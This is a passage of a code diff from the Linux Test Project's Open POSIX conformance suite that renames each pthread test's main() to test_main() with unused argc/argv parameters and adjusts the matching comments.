PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t child_threads[THREAD_NUM]; int cnt; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c index 0460e8cc..fedbe212 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-1.c @@ -73,7 +73,7 @@ static void *fn_chld(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c index 5b99055d..002b2582 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrier_wait/3-2.c @@ -79,7 +79,7 @@ static void *fn_chld(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c index 0bc21d0d..b0e60183 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_destroy/1-1.c @@ -20,7 +20,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrierattr_t ba; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c index b1a99a4c..86cbd5e5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/1-1.c @@ -20,7 +20,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrierattr_t ba; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c index a2e56846..ff41662a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_getpshared/2-1.c @@ -47,7 +47,7 @@ static void sig_handler() exit(PTS_FAIL); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c index e42496ed..c839e1ad 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/1-1.c @@ -21,7 +21,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrierattr_t ba; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c index 61275968..5704dccf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_init/2-1.c @@ -23,7 +23,7 @@ #define BARRIER_NUM 100 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_barrierattr_t ba; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c index d57d9598..715602ac 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/1-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c index bbb236a5..1704f640 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_barrierattr_setpshared/2-1.c @@ -20,7 +20,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-1.c index 58696b53..04cf508e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-1.c @@ -52,11 +52,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==0 */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==0 */ while (sem1 == 1) sleep(1); @@ -72,7 +72,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-2.c index 68dd88c1..3a6e502a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-2.c @@ -52,11 +52,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INMAIN. Sleeping for 3 secs. to give time for the + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INMAIN. Sleeping for 3 secs. to give time for the * cancel request to be sent and processed. */ while (sem1 == INMAIN) sleep(1); @@ -69,7 +69,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-3.c index a0f0a13c..df01d881 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/1-3.c @@ -13,7 +13,7 @@ * Test when a thread is PTHREAD_CANCEL_ENABLE and PTHREAD_CANCEL_DEFERRED * * STEPS: - * 1. Setup a mutex and lock it in main() + * 1. Setup a mutex and lock it in test_main() * 2. Create a thread. * 3. In the thread function, set the type to PTHREAD_CANCEL_DEFERRED and state to * PTHREAD_CANCEL_ENABLE. @@ -59,11 +59,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Lock the mutex. It should have already been locked in main, so the thread - * should block. */ + /* Lock the mutex. It should have already been locked in test_main, + * so the thread should block. */ if (pthread_mutex_lock(&mutex) != 0) { perror("Error in pthread_mutex_lock()\n"); pthread_exit((void *)PTS_UNRESOLVED); @@ -84,7 +84,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-1.c index e87d519a..456692e9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-1.c @@ -60,7 +60,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int i; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-2.c index 8417984f..c3080b74 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-2.c @@ -71,7 +71,7 @@ static void *a_thread_func(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-3.c index 94a8387d..29d715df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/2-3.c @@ -92,7 +92,7 @@ static void *a_thread_func(void *tmp PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c index 90500b37..92545764 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/3-1.c @@ -62,7 +62,7 @@ static void *thread_func(PTS_ATTRIBUTE_UNUSED void *unused) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/4-1.c index 769c82d7..8ce18059 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/4-1.c @@ -25,7 +25,7 @@ static void *a_thread_func() { pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem = 1; while (1) @@ -35,7 +35,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/5-1.c index 0937c6fe..9a23d645 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cancel/5-1.c @@ -30,7 +30,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-1.c index e38e6c5a..11b2cccf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-1.c @@ -58,7 +58,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-2.c index 4ac4462b..c2d4d6d6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-2.c @@ -58,7 +58,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-3.c index fae4e938..2dab4fe9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_pop/1-3.c @@ -66,7 +66,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-1.c index d16b227b..818b86db 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-1.c @@ -53,7 +53,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-2.c index cfee63c9..4d375b7b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-2.c @@ -55,11 +55,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, (void *)CLEANUP_CALLED); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INTHREAD */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INTHREAD */ while (sem1 == INMAIN) sleep(1); @@ -75,7 +75,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; void *value_ptr; /* hold return value of thread from pthread_join */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-3.c index 20a8b722..892512df 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cleanup_push/1-3.c @@ -52,7 +52,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c index 3c7b5975..a720b205 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-1.c @@ -61,7 +61,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c index 22e7c363..ba6bcd81 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/1-2.c @@ -292,7 +292,7 @@ static void children_number(void) } #endif -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c index cd39dbd9..8b41040b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-1.c @@ -70,7 +70,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c index 2ae84f47..78fbf6ab 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-2.c @@ -83,7 +83,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c index d82f6773..ccae3c50 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/2-3.c @@ -238,7 +238,7 @@ static void *timer(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c index 09d5fdff..208f653a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-1.c @@ -59,7 +59,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c index d7082d07..c64f5c9e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_broadcast/4-2.c @@ -174,7 +174,7 @@ static void *worker(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; pthread_t th_waiter[5], th_worker, th_sig1, th_sig2; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/1-1.c index 8f06066e..f60c829c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/1-1.c @@ -18,7 +18,7 @@ static pthread_cond_t cond1, cond2; static pthread_cond_t cond3 = PTHREAD_COND_INITIALIZER; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c index 63363bbe..1d0c70c2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/2-1.c @@ -322,7 +322,7 @@ static void *timer(void *arg) /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c index a618e98c..7cbd46cc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/3-1.c @@ -14,7 +14,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_cond_t cond; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c index 7813a561..5ffce570 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_destroy/speculative/4-1.c @@ -66,7 +66,7 @@ static void *watchdog(void *arg) return arg; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t low_id, watchdog_thread; int rc = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/1-1.c index a6a260a3..31b69587 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/1-1.c @@ -27,7 +27,7 @@ #define ERR_MSG(f, rc) printf("Failed: func: %s rc: %s (%u)\n", \ f, strerror(rc), rc); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; pthread_cond_t cond1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c index fbb7c68f..90fc4eef 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/2-1.c @@ -16,7 +16,7 @@ static pthread_cond_t cond PTS_ATTRIBUTE_UNUSED = PTHREAD_COND_INITIALIZER; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Test PASSED\n"); return PTS_PASS; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c index 886d0f04..b749de85 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/3-1.c @@ -18,7 +18,7 @@ #define ERR_MSG(f, rc) printf("Failed: func: %s rc: %s (%u)\n", \ f, strerror(rc), rc) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_condattr_t condattr; pthread_cond_t cond; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c index a49d5fa4..9ccce999 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-1.c @@ -103,7 +103,7 @@ static void child(void) exit(rc); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; int child_status; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-3.c index 4ff0f13b..b6ee89c4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_init/4-3.c @@ -33,7 +33,7 @@ #define ERR_MSG(f, rc) printf("Failed: function: %s status: %s(%u)\n", \ f, strerror(rc), rc) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int status; pthread_cond_t cond; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c index d638190f..191c0a0a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-1.c @@ -77,7 +77,7 @@ static void *thr_func(void *arg PTS_ATTRIBUTE_UNUSED) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec completion_wait_ts = {0, 100000}; int i, rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c index 89e20171..a2c0fd4c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/1-2.c @@ -280,7 +280,7 @@ static void *timer(void *arg) /* main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_cond_signal/2-1.c index 